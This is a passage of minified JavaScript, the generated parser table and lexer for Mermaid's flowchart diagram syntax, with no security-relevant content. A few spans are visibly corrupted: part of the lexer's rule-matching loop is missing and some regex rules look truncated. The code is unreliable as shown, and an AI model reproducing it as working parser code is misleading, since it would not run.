_t,[2,103]),t(_t,[2,104]),t(_t,[2,157]),t(_t,[2,158]),t(_t,[2,159]),t(_t,[2,160]),t(_t,[2,161]),t(_t,[2,162]),t(_t,[2,163]),t(_t,[2,164]),t(_t,[2,165]),t(_t,[2,166]),t(_t,[2,167]),t(_t,[2,90]),t(_t,[2,91]),t(_t,[2,92]),t(_t,[2,93]),t(_t,[2,94]),t(_t,[2,95]),t(_t,[2,96]),t(_t,[2,97]),t(_t,[2,98]),t(_t,[2,99]),t(_t,[2,100]),{6:11,7:12,8:s,9:l,10:u,11:h,20:17,22:18,23:19,24:20,25:21,26:22,27:f,32:[1,202],33:24,34:d,36:p,38:m,42:28,43:38,44:g,45:39,47:40,60:y,84:v,85:x,86:b,87:T,88:S,89:w,102:k,105:A,106:C,109:R,111:I,113:41,114:L,115:E,116:D,121:_,122:O,123:M,124:P},{10:B,18:203},{44:[1,204]},t(ne,[2,43]),{10:[1,205],44:g,60:y,89:w,102:k,105:A,106:C,109:R,111:I,113:112,114:L,115:E,116:D},{10:[1,206]},{10:[1,207],106:[1,208]},t(bn,[2,128]),{10:[1,209],44:g,60:y,89:w,102:k,105:A,106:C,109:R,111:I,113:112,114:L,115:E,116:D},{10:[1,210],44:g,60:y,89:w,102:k,105:A,106:C,109:R,111:I,113:112,114:L,115:E,116:D},{80:[1,211]},t(vt,[2,109],{10:[1,212]}),t(vt,[2,111],{10:[1,213]}),{80:[1,214]},t(Lt,[2,184]),{80:[1,215],98:[1,216]},t(ne,[2,55],{113:112,44:g,60:y,89:w,102:k,105:A,106:C,109:R,111:I,114:L,115:E,116:D}),{31:[1,217],67:dt,82:218,116:wt,117:yt,118:ft},t(Br,[2,86]),t(Br,[2,88]),t(Br,[2,89]),t(Br,[2,153]),t(Br,[2,154]),t(Br,[2,155]),t(Br,[2,156]),{49:[1,219],67:dt,82:218,116:wt,117:yt,118:ft},{30:220,67:dt,80:nt,81:bt,82:171,116:wt,117:yt,118:ft},{51:[1,221],67:dt,82:218,116:wt,117:yt,118:ft},{53:[1,222],67:dt,82:218,116:wt,117:yt,118:ft},{55:[1,223],67:dt,82:218,116:wt,117:yt,118:ft},{57:[1,224],67:dt,82:218,116:wt,117:yt,118:ft},{60:[1,225]},{64:[1,226],67:dt,82:218,116:wt,117:yt,118:ft},{66:[1,227],67:dt,82:218,116:wt,117:yt,118:ft},{30:228,67:dt,80:nt,81:bt,82:171,116:wt,117:yt,118:ft},{31:[1,229],67:dt,82:218,116:wt,117:yt,118:ft},{67:dt,69:[1,230],71:[1,231],82:218,116:wt,117:yt,118:ft},{67:dt,69:[1,233],71:[1,232],82:218,116:wt,117:yt,118:ft},t(j,[2,45],{18:155,10:B,40:Gt}),t(j,[2,47],{44:lt}),t(pe,[2,75]),t(pe,[2,74]),{62:[1,234],67:dt,82:218,116:wt,117:yt,118:ft},t(pe,[2,77]),t(Ur,[2,80]),{77:[1,235],79:197,116:He,119:Le},{30:236,67:dt,80:nt,81:bt,82:171,116:wt,117:yt,118:ft},t(Ue,a,{5:237}),t(_t,[2,102]),t(F,[2,35]),{43:238,44:g,45:39,47:40,60:y,89:w,102:k,105:A,106:C,109:R,111:I,113:41,114:L,115:E,116:D},{10:B,18:239},{10:cr,60:ar,84:_r,92:240,105:Ct,107:241,108:242,109:Se,110:at,111:Nt,112:wr},{10:cr,60:ar,84:_r,92:251,104:[1,252],105:Ct,107:241,108:242,109:Se,110:at,111:Nt,112:wr},{10:cr,60:ar,84:_r,92:253,104:[1,254],105:Ct,107:241,108:242,109:Se,110:at,111:Nt,112:wr},{105:[1,255]},{10:cr,60:ar,84:_r,92:256,105:Ct,107:241,108:242,109:Se,110:at,111:Nt,112:wr},{44:g,47:257,60:y,89:w,102:k,105:A,106:C,109:R,111:I,113:41,114:L,115:E,116:D},t(vt,[2,108]),{80:[1,258]},{80:[1,259],98:[1,260]},t(vt,[2,116]),t(vt,[2,118],{10:[1,261]}),t(vt,[2,119]),t(Te,[2,56]),t(Br,[2,87]),t(Te,[2,57]),{51:[1,262],67:dt,82:218,116:wt,117:yt,118:ft},t(Te,[2,64]),t(Te,[2,59]),t(Te,[2,60]),t(Te,[2,61]),{109:[1,263]},t(Te,[2,63]),t(Te,[2,65]),{66:[1,264],67:dt,82:218,116:wt,117:yt,118:ft},t(Te,[2,67]),t(Te,[2,68]),t(Te,[2,70]),t(Te,[2,69]),t(Te,[2,71]),t([10,44,60,89,102,105,106,109,111,114,115,116],[2,85]),t(pe,[2,78]),{31:[1,265],67:dt,82:218,116:wt,117:yt,118:ft},{6:11,7:12,8:s,9:l,10:u,11:h,20:17,22:18,23:19,24:20,25:21,26:22,27:f,32:[1,266],33:24,34:d,36:p,38:m,42:28,43:38,44:g,45:39,47:40,60:y,84:v,85:x,86:b,87:T,88:S,89:w,102:k,105:A,106:C,109:R,111:I,113:41,114:L,115:E,116:D,121:_,122:O,123:M,124:P},t(ne,[2,53]),{43:267,44:g,45:39,47:40,60:y,89:w,102:k,105:A,106:C,109:R,111:I,113:41,114:L,115:E,116:D},t(vt,[2,121],{106:Tn}),t(yn,[2,130],{108:269,10:cr,60:ar,84:_r,105:Ct,109:Se,110:at,111:Nt,112:wr}),t(sn,[2,132]),t(sn,[2,134]),t(sn,[2,135]),t(sn,[2,136]),t(sn,[2,137]),t(sn,[2,138]),t(sn,[2,139]),t(sn,[2,140]),t(sn,[2,141]),t(vt,[2,122],{106:Tn}),{10:[1,270]},t(vt,[2,123],{106:Tn}),{10:[1,271]},t(bn,[2,129]),t(vt,[2,105],{106:Tn}),t(vt,[2,106],{113:112,44:g,60:y,89:w,102:k,105:A,106:C,109:R,111:I,114:L,115:E,116:D}),t(vt,[2,110]),t(vt,[2,112],{10:[1,272]}),t(vt,[2,113]),{98:[1,273]},{51:[1,274]},{62:[1,275]},{66:[1,276]},{8:G,9:$,11:U,21:277},t(F,[2,34]),t(ne,[2,52]),{10:cr,60:ar,84:_r,105:Ct,107:278,108:242,109:Se,110:at,111:Nt,112:wr},t(sn,[2,133]),{14:Y,44:oe,60:J,89:ue,101:279,105:re,106:ee,109:Z,111:K,114:ae,115:Q,116:de,120:87},{14:Y,44:oe,60:J,89:ue,101:280,105:re,106:ee,109:Z,111:K,114:ae,115:Q,116:de,120:87},{98:[1,281]},t(vt,[2,120]),t(Te,[2,58]),{30:282,67:dt,80:nt,81:bt,82:171,116:wt,117:yt,118:ft},t(Te,[2,66]),t(Ue,a,{5:283}),t(yn,[2,131],{108:269,10:cr,60:ar,84:_r,105:Ct,109:Se,110:at,111:Nt,112:wr}),t(vt,[2,126],{120:167,10:[1,284],14:Y,44:oe,60:J,89:ue,105:re,106:ee,109:Z,111:K,114:ae,115:Q,116:de}),t(vt,[2,127],{120:167,10:[1,285],14:Y,44:oe,60:J,89:ue,105:re,106:ee,109:Z,111:K,114:ae,115:Q,116:de}),t(vt,[2,114]),{31:[1,286],67:dt,82:218,116:wt,117:yt,118:ft},{6:11,7:12,8:s,9:l,10:u,11:h,20:17,22:18,23:19,24:20,25:21,26:22,27:f,32:[1,287],33:24,34:d,36:p,38:m,42:28,43:38,44:g,45:39,47:40,60:y,84:v,85:x,86:b,87:T,88:S,89:w,102:k,105:A,106:C,109:R,111:I,113:41,114:L,115:E,116:D,121:_,122:O,123:M,124:P},{10:cr,60:ar,84:_r,92:288,105:Ct,107:241,108:242,109:Se,110:at,111:Nt,112:wr},{10:cr,60:ar,84:_r,92:289,105:Ct,107:241,108:242,109:Se,110:at,111:Nt,112:wr},t(Te,[2,62]),t(F,[2,33]),t(vt,[2,124],{106:Tn}),t(vt,[2,125],{106:Tn})],defaultActions:{},parseError:o(function(it,kt){if(kt.recoverable)this.trace(it);else{var jt=new Error(it);throw jt.hash=kt,jt}},"parseError"),parse:o(function(it){var kt=this,jt=[0],ht=[],Dr=[null],me=[],Yl=this.table,be="",jr=0,V4=0,XC=0,jC=2,Gz=1,$3e=me.slice.call(arguments,1),qi=Object.create(this.lexer),ad={yy:{}};for(var KC in this.yy)Object.prototype.hasOwnProperty.call(this.yy,KC)&&(ad.yy[KC]=this.yy[KC]);qi.setInput(it,ad.yy),ad.yy.lexer=qi,ad.yy.parser=this,typeof qi.yylloc>"u"&&(qi.yylloc={});var QC=qi.yylloc;me.push(QC);var z3e=qi.options&&qi.options.ranges;typeof ad.yy.parseError=="function"?this.parseError=ad.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;function Pat(Js){jt.length=jt.length-2*Js,Dr.length=Dr.length-Js,me.length=me.length-Js}o(Pat,"popStack");function G3e(){var Js;return Js=ht.pop()||qi.lex()||Gz,typeof Js!="number"&&(Js instanceof Array&&(ht=Js,Js=ht.pop()),Js=kt.symbols_[Js]||Js),Js}o(G3e,"lex");for(var Xa,ZC,sd,ko,Bat,JC,g0={},U4,iu,Vz,H4;;){if(sd=jt[jt.length-1],this.defaultActions[sd]?ko=this.defaultActions[sd]:((Xa===null||typeof Xa>"u")&&(Xa=G3e()),ko=Yl[sd]&&Yl[sd][Xa]),typeof ko>"u"||!ko.length||!ko[0]){var e7="";H4=[];for(U4 in Yl[sd])this.terminals_[U4]&&U4>jC&&H4.push("'"+this.terminals_[U4]+"'");qi.showPosition?e7="Parse error on line "+(jr+1)+`: +`+qi.showPosition()+` +Expecting `+H4.join(", ")+", got '"+(this.terminals_[Xa]||Xa)+"'":e7="Parse error on line "+(jr+1)+": Unexpected "+(Xa==Gz?"end of input":"'"+(this.terminals_[Xa]||Xa)+"'"),this.parseError(e7,{text:qi.match,token:this.terminals_[Xa]||Xa,line:qi.yylineno,loc:QC,expected:H4})}if(ko[0]instanceof Array&&ko.length>1)throw new Error("Parse Error: multiple actions possible at state: "+sd+", token: "+Xa);switch(ko[0]){case 1:jt.push(Xa),Dr.push(qi.yytext),me.push(qi.yylloc),jt.push(ko[1]),Xa=null,ZC?(Xa=ZC,ZC=null):(V4=qi.yyleng,be=qi.yytext,jr=qi.yylineno,QC=qi.yylloc,XC>0&&XC--);break;case 2:if(iu=this.productions_[ko[1]][1],g0.$=Dr[Dr.length-iu],g0._$={first_line:me[me.length-(iu||1)].first_line,last_line:me[me.length-1].last_line,first_column:me[me.length-(iu||1)].first_column,last_column:me[me.length-1].last_column},z3e&&(g0._$.range=[me[me.length-(iu||1)].range[0],me[me.length-1].range[1]]),JC=this.performAction.apply(g0,[be,V4,jr,ad.yy,ko[1],Dr,me].concat($3e)),typeof JC<"u")return JC;iu&&(jt=jt.slice(0,-1*iu*2),Dr=Dr.slice(0,-1*iu),me=me.slice(0,-1*iu)),jt.push(this.productions_[ko[1]][0]),Dr.push(g0.$),me.push(g0._$),Vz=Yl[jt[jt.length-2]][jt[jt.length-1]],jt.push(Vz);break;case 3:return!0}}return!0},"parse")},Zs=(function(){var fr={EOF:1,parseError:o(function(kt,jt){if(this.yy.parser)this.yy.parser.parseError(kt,jt);else throw new Error(kt)},"parseError"),setInput:o(function(it,kt){return this.yy=kt||this.yy||{},this._input=it,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},"setInput"),input:o(function(){var it=this._input[0];this.yytext+=it,this.yyleng++,this.offset++,this.match+=it,this.matched+=it;var kt=it.match(/(?:\r\n?|\n).*/g);return kt?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),it},"input"),unput:o(function(it){var kt=it.length,jt=it.split(/(?:\r\n?|\n)/g);this._input=it+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-kt),this.offset-=kt;var ht=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),jt.length-1&&(this.yylineno-=jt.length-1);var Dr=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:jt?(jt.length===ht.length?this.yylloc.first_column:0)+ht[ht.length-jt.length].length-jt[0].length:this.yylloc.first_column-kt},this.options.ranges&&(this.yylloc.range=[Dr[0],Dr[0]+this.yyleng-kt]),this.yyleng=this.yytext.length,this},"unput"),more:o(function(){return this._more=!0,this},"more"),reject:o(function(){if(this.options.backtrack_lexer)this._backtrack=!0;else return this.parseError("Lexical error on line "+(this.yylineno+1)+`. You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true). +`+this.showPosition(),{text:"",token:null,line:this.yylineno});return this},"reject"),less:o(function(it){this.unput(this.match.slice(it))},"less"),pastInput:o(function(){var it=this.matched.substr(0,this.matched.length-this.match.length);return(it.length>20?"...":"")+it.substr(-20).replace(/\n/g,"")},"pastInput"),upcomingInput:o(function(){var it=this.match;return it.length<20&&(it+=this._input.substr(0,20-it.length)),(it.substr(0,20)+(it.length>20?"...":"")).replace(/\n/g,"")},"upcomingInput"),showPosition:o(function(){var it=this.pastInput(),kt=new Array(it.length+1).join("-");return it+this.upcomingInput()+` +`+kt+"^"},"showPosition"),test_match:o(function(it,kt){var jt,ht,Dr;if(this.options.backtrack_lexer&&(Dr={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(Dr.yylloc.range=this.yylloc.range.slice(0))),ht=it[0].match(/(?:\r\n?|\n).*/g),ht&&(this.yylineno+=ht.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:ht?ht[ht.length-1].length-ht[ht.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+it[0].length},this.yytext+=it[0],this.match+=it[0],this.matches=it,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(it[0].length),this.matched+=it[0],jt=this.performAction.call(this,this.yy,this,kt,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),jt)return jt;if(this._backtrack){for(var me in Dr)this[me]=Dr[me];return!1}return!1},"test_match"),next:o(function(){if(this.done)return this.EOF;this._input||(this.done=!0);var it,kt,jt,ht;this._more||(this.yytext="",this.match="");for(var Dr=this._currentRules(),me=0;mekt[0].length)){if(kt=jt,ht=me,this.options.backtrack_lexer){if(it=this.test_match(jt,Dr[me]),it!==!1)return it;if(this._backtrack){kt=!1;continue}else return!1}else if(!this.options.flex)break}return kt?(it=this.test_match(kt,Dr[ht]),it!==!1?it:!1):this._input===""?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+`. Unrecognized text. +`+this.showPosition(),{text:"",token:null,line:this.yylineno})},"next"),lex:o(function(){var kt=this.next();return kt||this.lex()},"lex"),begin:o(function(kt){this.conditionStack.push(kt)},"begin"),popState:o(function(){var kt=this.conditionStack.length-1;return kt>0?this.conditionStack.pop():this.conditionStack[0]},"popState"),_currentRules:o(function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},"_currentRules"),topState:o(function(kt){return kt=this.conditionStack.length-1-Math.abs(kt||0),kt>=0?this.conditionStack[kt]:"INITIAL"},"topState"),pushState:o(function(kt){this.begin(kt)},"pushState"),stateStackSize:o(function(){return this.conditionStack.length},"stateStackSize"),options:{},performAction:o(function(kt,jt,ht,Dr){var me=Dr;switch(ht){case 0:return this.begin("acc_title"),34;break;case 1:return this.popState(),"acc_title_value";break;case 2:return this.begin("acc_descr"),36;break;case 3:return this.popState(),"acc_descr_value";break;case 4:this.begin("acc_descr_multiline");break;case 5:this.popState();break;case 6:return"acc_descr_multiline_value";case 7:return this.pushState("shapeData"),jt.yytext="",40;break;case 8:return this.pushState("shapeDataStr"),40;break;case 9:return this.popState(),40;break;case 10:let Yl=/\n\s*/g;return jt.yytext=jt.yytext.replace(Yl,"
    "),40;break;case 11:return 40;case 12:this.popState();break;case 13:this.begin("callbackname");break;case 14:this.popState();break;case 15:this.popState(),this.begin("callbackargs");break;case 16:return 95;case 17:this.popState();break;case 18:return 96;case 19:return"MD_STR";case 20:this.popState();break;case 21:this.begin("md_string");break;case 22:return"STR";case 23:this.popState();break;case 24:this.pushState("string");break;case 25:return 84;case 26:return 102;case 27:return 85;case 28:return 104;case 29:return 86;case 30:return 87;case 31:return 97;case 32:this.begin("click");break;case 33:this.popState();break;case 34:return 88;case 35:return kt.lex.firstGraph()&&this.begin("dir"),12;break;case 36:return kt.lex.firstGraph()&&this.begin("dir"),12;break;case 37:return kt.lex.firstGraph()&&this.begin("dir"),12;break;case 38:return 27;case 39:return 32;case 40:return 98;case 41:return 98;case 42:return 98;case 43:return 98;case 44:return this.popState(),13;break;case 45:return this.popState(),14;break;case 46:return this.popState(),14;break;case 47:return this.popState(),14;break;case 48:return this.popState(),14;break;case 49:return this.popState(),14;break;case 50:return this.popState(),14;break;case 51:return this.popState(),14;break;case 52:return this.popState(),14;break;case 53:return this.popState(),14;break;case 54:return this.popState(),14;break;case 55:return 121;case 56:return 122;case 57:return 123;case 58:return 124;case 59:return 78;case 60:return 105;case 61:return 111;case 62:return 46;case 63:return 60;case 64:return 44;case 65:return 8;case 66:return 106;case 67:return 115;case 68:return this.popState(),77;break;case 69:return this.pushState("edgeText"),75;break;case 70:return 119;case 71:return this.popState(),77;break;case 72:return this.pushState("thickEdgeText"),75;break;case 73:return 119;case 74:return this.popState(),77;break;case 75:return this.pushState("dottedEdgeText"),75;break;case 76:return 119;case 77:return 77;case 78:return this.popState(),53;break;case 79:return"TEXT";case 80:return this.pushState("ellipseText"),52;break;case 81:return this.popState(),55;break;case 82:return this.pushState("text"),54;break;case 83:return this.popState(),57;break;case 84:return this.pushState("text"),56;break;case 85:return 58;case 86:return this.pushState("text"),67;break;case 87:return this.popState(),64;break;case 88:return this.pushState("text"),63;break;case 89:return this.popState(),49;break;case 90:return this.pushState("text"),48;break;case 91:return this.popState(),69;break;case 92:return this.popState(),71;break;case 93:return 117;case 94:return this.pushState("trapText"),68;break;case 95:return this.pushState("trapText"),70;break;case 96:return 118;case 97:return 67;case 98:return 90;case 99:return"SEP";case 100:return 89;case 101:return 115;case 102:return 111;case 103:return 44;case 104:return 109;case 105:return 114;case 106:return 116;case 107:return this.popState(),62;break;case 108:return this.pushState("text"),62;break;case 109:return this.popState(),51;break;case 110:return this.pushState("text"),50;break;case 111:return this.popState(),31;break;case 112:return this.pushState("text"),29;break;case 113:return this.popState(),66;break;case 114:return this.pushState("text"),65;break;case 115:return"TEXT";case 116:return"QUOTE";case 117:return 9;case 118:return 10;case 119:return 11}},"anonymous"),rules:[/^(?:accTitle\s*:\s*)/,/^(?:(?!\n||)*[^\n]*)/,/^(?:accDescr\s*:\s*)/,/^(?:(?!\n||)*[^\n]*)/,/^(?:accDescr\s*\{\s*)/,/^(?:[\}])/,/^(?:[^\}]*)/,/^(?:@\{)/,/^(?:["])/,/^(?:["])/,/^(?:[^\"]+)/,/^(?:[^}^"]+)/,/^(?:\})/,/^(?:call[\s]+)/,/^(?:\([\s]*\))/,/^(?:\()/,/^(?:[^(]*)/,/^(?:\))/,/^(?:[^)]*)/,/^(?:[^`"]+)/,/^(?:[`]["])/,/^(?:["][`])/,/^(?:[^"]+)/,/^(?:["])/,/^(?:["])/,/^(?:style\b)/,/^(?:default\b)/,/^(?:linkStyle\b)/,/^(?:interpolate\b)/,/^(?:classDef\b)/,/^(?:class\b)/,/^(?:href[\s])/,/^(?:click[\s]+)/,/^(?:[\s\n])/,/^(?:[^\s\n]*)/,/^(?:flowchart-elk\b)/,/^(?:graph\b)/,/^(?:flowchart\b)/,/^(?:subgraph\b)/,/^(?:end\b\s*)/,/^(?:_self\b)/,/^(?:_blank\b)/,/^(?:_parent\b)/,/^(?:_top\b)/,/^(?:(\r?\n)*\s*\n)/,/^(?:\s*LR\b)/,/^(?:\s*RL\b)/,/^(?:\s*TB\b)/,/^(?:\s*BT\b)/,/^(?:\s*TD\b)/,/^(?:\s*BR\b)/,/^(?:\s*<)/,/^(?:\s*>)/,/^(?:\s*\^)/,/^(?:\s*v\b)/,/^(?:.*direction\s+TB[^\n]*)/,/^(?:.*direction\s+BT[^\n]*)/,/^(?:.*direction\s+RL[^\n]*)/,/^(?:.*direction\s+LR[^\n]*)/,/^(?:[^\s\"]+@(?=[^\{\"]))/,/^(?:[0-9]+)/,/^(?:#)/,/^(?::::)/,/^(?::)/,/^(?:&)/,/^(?:;)/,/^(?:,)/,/^(?:\*)/,/^(?:\s*[xo<]?--+[-xo>]\s*)/,/^(?:\s*[xo<]?--\s*)/,/^(?:[^-]|-(?!-)+)/,/^(?:\s*[xo<]?==+[=xo>]\s*)/,/^(?:\s*[xo<]?==\s*)/,/^(?:[^=]|=(?!))/,/^(?:\s*[xo<]?-?\.+-[xo>]?\s*)/,/^(?:\s*[xo<]?-\.\s*)/,/^(?:[^\.]|\.(?!))/,/^(?:\s*~~[\~]+\s*)/,/^(?:[-/\)][\)])/,/^(?:[^\(\)\[\]\{\}]|!\)+)/,/^(?:\(-)/,/^(?:\]\))/,/^(?:\(\[)/,/^(?:\]\])/,/^(?:\[\[)/,/^(?:\[\|)/,/^(?:>)/,/^(?:\)\])/,/^(?:\[\()/,/^(?:\)\)\))/,/^(?:\(\(\()/,/^(?:[\\(?=\])][\]])/,/^(?:\/(?=\])\])/,/^(?:\/(?!\])|\\(?!\])|[^\\\[\]\(\)\{\}\/]+)/,/^(?:\[\/)/,/^(?:\[\\)/,/^(?:<)/,/^(?:>)/,/^(?:\^)/,/^(?:\\\|)/,/^(?:v\b)/,/^(?:\*)/,/^(?:#)/,/^(?:&)/,/^(?:([A-Za-z0-9!"\#$%&'*+\.`?\\_\/]|-(?=[^\>\-\.])|(?!))+)/,/^(?:-)/,/^(?:[\u00AA\u00B5\u00BA\u00C0-\u00D6\u00D8-\u00F6]|[\u00F8-\u02C1\u02C6-\u02D1\u02E0-\u02E4\u02EC\u02EE\u0370-\u0374\u0376\u0377]|[\u037A-\u037D\u0386\u0388-\u038A\u038C\u038E-\u03A1\u03A3-\u03F5]|[\u03F7-\u0481\u048A-\u0527\u0531-\u0556\u0559\u0561-\u0587\u05D0-\u05EA]|[\u05F0-\u05F2\u0620-\u064A\u066E\u066F\u0671-\u06D3\u06D5\u06E5\u06E6\u06EE]|[\u06EF\u06FA-\u06FC\u06FF\u0710\u0712-\u072F\u074D-\u07A5\u07B1\u07CA-\u07EA]|[\u07F4\u07F5\u07FA\u0800-\u0815\u081A\u0824\u0828\u0840-\u0858\u08A0]|[\u08A2-\u08AC\u0904-\u0939\u093D\u0950\u0958-\u0961\u0971-\u0977]|[\u0979-\u097F\u0985-\u098C\u098F\u0990\u0993-\u09A8\u09AA-\u09B0\u09B2]|[\u09B6-\u09B9\u09BD\u09CE\u09DC\u09DD\u09DF-\u09E1\u09F0\u09F1\u0A05-\u0A0A]|[\u0A0F\u0A10\u0A13-\u0A28\u0A2A-\u0A30\u0A32\u0A33\u0A35\u0A36\u0A38\u0A39]|[\u0A59-\u0A5C\u0A5E\u0A72-\u0A74\u0A85-\u0A8D\u0A8F-\u0A91\u0A93-\u0AA8]|[\u0AAA-\u0AB0\u0AB2\u0AB3\u0AB5-\u0AB9\u0ABD\u0AD0\u0AE0\u0AE1\u0B05-\u0B0C]|[\u0B0F\u0B10\u0B13-\u0B28\u0B2A-\u0B30\u0B32\u0B33\u0B35-\u0B39\u0B3D\u0B5C]|[\u0B5D\u0B5F-\u0B61\u0B71\u0B83\u0B85-\u0B8A\u0B8E-\u0B90\u0B92-\u0B95\u0B99]|[\u0B9A\u0B9C\u0B9E\u0B9F\u0BA3\u0BA4\u0BA8-\u0BAA\u0BAE-\u0BB9\u0BD0]|[\u0C05-\u0C0C\u0C0E-\u0C10\u0C12-\u0C28\u0C2A-\u0C33\u0C35-\u0C39\u0C3D]|[\u0C58\u0C59\u0C60\u0C61\u0C85-\u0C8C\u0C8E-\u0C90\u0C92-\u0CA8\u0CAA-\u0CB3]|[\u0CB5-\u0CB9\u0CBD\u0CDE\u0CE0\u0CE1\u0CF1\u0CF2\u0D05-\u0D0C\u0D0E-\u0D10]|[\u0D12-\u0D3A\u0D3D\u0D4E\u0D60\u0D61\u0D7A-\u0D7F\u0D85-\u0D96\u0D9A-\u0DB1]|[\u0DB3-\u0DBB\u0DBD\u0DC0-\u0DC6\u0E01-\u0E30\u0E32\u0E33\u0E40-\u0E46\u0E81]|[\u0E82\u0E84\u0E87\u0E88\u0E8A\u0E8D\u0E94-\u0E97\u0E99-\u0E9F\u0EA1-\u0EA3]|[\u0EA5\u0EA7\u0EAA\u0EAB\u0EAD-\u0EB0\u0EB2\u0EB3\u0EBD\u0EC0-\u0EC4\u0EC6]|[\u0EDC-\u0EDF\u0F00\u0F40-\u0F47\u0F49-\u0F6C\u0F88-\u0F8C\u1000-\u102A]|[\u103F\u1050-\u1055\u105A-\u105D\u1061\u1065\u1066\u106E-\u1070\u1075-\u1081]|[\u108E\u10A0-\u10C5\u10C7\u10CD\u10D0-\u10FA\u10FC-\u1248\u124A-\u124D]|[\u1250-\u1256\u1258\u125A-\u125D\u1260-\u1288\u128A-\u128D\u1290-\u12B0]|[\u12B2-\u12B5\u12B8-\u12BE\u12C0\u12C2-\u12C5\u12C8-\u12D6\u12D8-\u1310]|[\u1312-\u1315\u1318-\u135A\u1380-\u138F\u13A0-\u13F4\u1401-\u166C]|[\u166F-\u167F\u1681-\u169A\u16A0-\u16EA\u1700-\u170C\u170E-\u1711]|[\u1720-\u1731\u1740-\u1751\u1760-\u176C\u176E-\u1770\u1780-\u17B3\u17D7]|[\u17DC\u1820-\u1877\u1880-\u18A8\u18AA\u18B0-\u18F5\u1900-\u191C]|[\u1950-\u196D\u1970-\u1974\u1980-\u19AB\u19C1-\u19C7\u1A00-\u1A16]|[\u1A20-\u1A54\u1AA7\u1B05-\u1B33\u1B45-\u1B4B\u1B83-\u1BA0\u1BAE\u1BAF]|[\u1BBA-\u1BE5\u1C00-\u1C23\u1C4D-\u1C4F\u1C5A-\u1C7D\u1CE9-\u1CEC]|[\u1CEE-\u1CF1\u1CF5\u1CF6\u1D00-\u1DBF\u1E00-\u1F15\u1F18-\u1F1D]|[\u1F20-\u1F45\u1F48-\u1F4D\u1F50-\u1F57\u1F59\u1F5B\u1F5D\u1F5F-\u1F7D]|[\u1F80-\u1FB4\u1FB6-\u1FBC\u1FBE\u1FC2-\u1FC4\u1FC6-\u1FCC\u1FD0-\u1FD3]|[\u1FD6-\u1FDB\u1FE0-\u1FEC\u1FF2-\u1FF4\u1FF6-\u1FFC\u2071\u207F]|[\u2090-\u209C\u2102\u2107\u210A-\u2113\u2115\u2119-\u211D\u2124\u2126\u2128]|[\u212A-\u212D\u212F-\u2139\u213C-\u213F\u2145-\u2149\u214E\u2183\u2184]|[\u2C00-\u2C2E\u2C30-\u2C5E\u2C60-\u2CE4\u2CEB-\u2CEE\u2CF2\u2CF3]|[\u2D00-\u2D25\u2D27\u2D2D\u2D30-\u2D67\u2D6F\u2D80-\u2D96\u2DA0-\u2DA6]|[\u2DA8-\u2DAE\u2DB0-\u2DB6\u2DB8-\u2DBE\u2DC0-\u2DC6\u2DC8-\u2DCE]|[\u2DD0-\u2DD6\u2DD8-\u2DDE\u2E2F\u3005\u3006\u3031-\u3035\u303B\u303C]|[\u3041-\u3096\u309D-\u309F\u30A1-\u30FA\u30FC-\u30FF\u3105-\u312D]|[\u3131-\u318E\u31A0-\u31BA\u31F0-\u31FF\u3400-\u4DB5\u4E00-\u9FCC]|[\uA000-\uA48C\uA4D0-\uA4FD\uA500-\uA60C\uA610-\uA61F\uA62A\uA62B]|[\uA640-\uA66E\uA67F-\uA697\uA6A0-\uA6E5\uA717-\uA71F\uA722-\uA788]|[\uA78B-\uA78E\uA790-\uA793\uA7A0-\uA7AA\uA7F8-\uA801\uA803-\uA805]|[\uA807-\uA80A\uA80C-\uA822\uA840-\uA873\uA882-\uA8B3\uA8F2-\uA8F7\uA8FB]|[\uA90A-\uA925\uA930-\uA946\uA960-\uA97C\uA984-\uA9B2\uA9CF\uAA00-\uAA28]|[\uAA40-\uAA42\uAA44-\uAA4B\uAA60-\uAA76\uAA7A\uAA80-\uAAAF\uAAB1\uAAB5]|[\uAAB6\uAAB9-\uAABD\uAAC0\uAAC2\uAADB-\uAADD\uAAE0-\uAAEA\uAAF2-\uAAF4]|[\uAB01-\uAB06\uAB09-\uAB0E\uAB11-\uAB16\uAB20-\uAB26\uAB28-\uAB2E]|[\uABC0-\uABE2\uAC00-\uD7A3\uD7B0-\uD7C6\uD7CB-\uD7FB\uF900-\uFA6D]|[\uFA70-\uFAD9\uFB00-\uFB06\uFB13-\uFB17\uFB1D\uFB1F-\uFB28\uFB2A-\uFB36]|[\uFB38-\uFB3C\uFB3E\uFB40\uFB41\uFB43\uFB44\uFB46-\uFBB1\uFBD3-\uFD3D]|[\uFD50-\uFD8F\uFD92-\uFDC7\uFDF0-\uFDFB\uFE70-\uFE74\uFE76-\uFEFC]|[\uFF21-\uFF3A\uFF41-\uFF5A\uFF66-\uFFBE\uFFC2-\uFFC7\uFFCA-\uFFCF]|[\uFFD2-\uFFD7\uFFDA-\uFFDC])/,/^(?:\|)/,/^(?:\|)/,/^(?:\))/,/^(?:\()/,/^(?:\])/,/^(?:\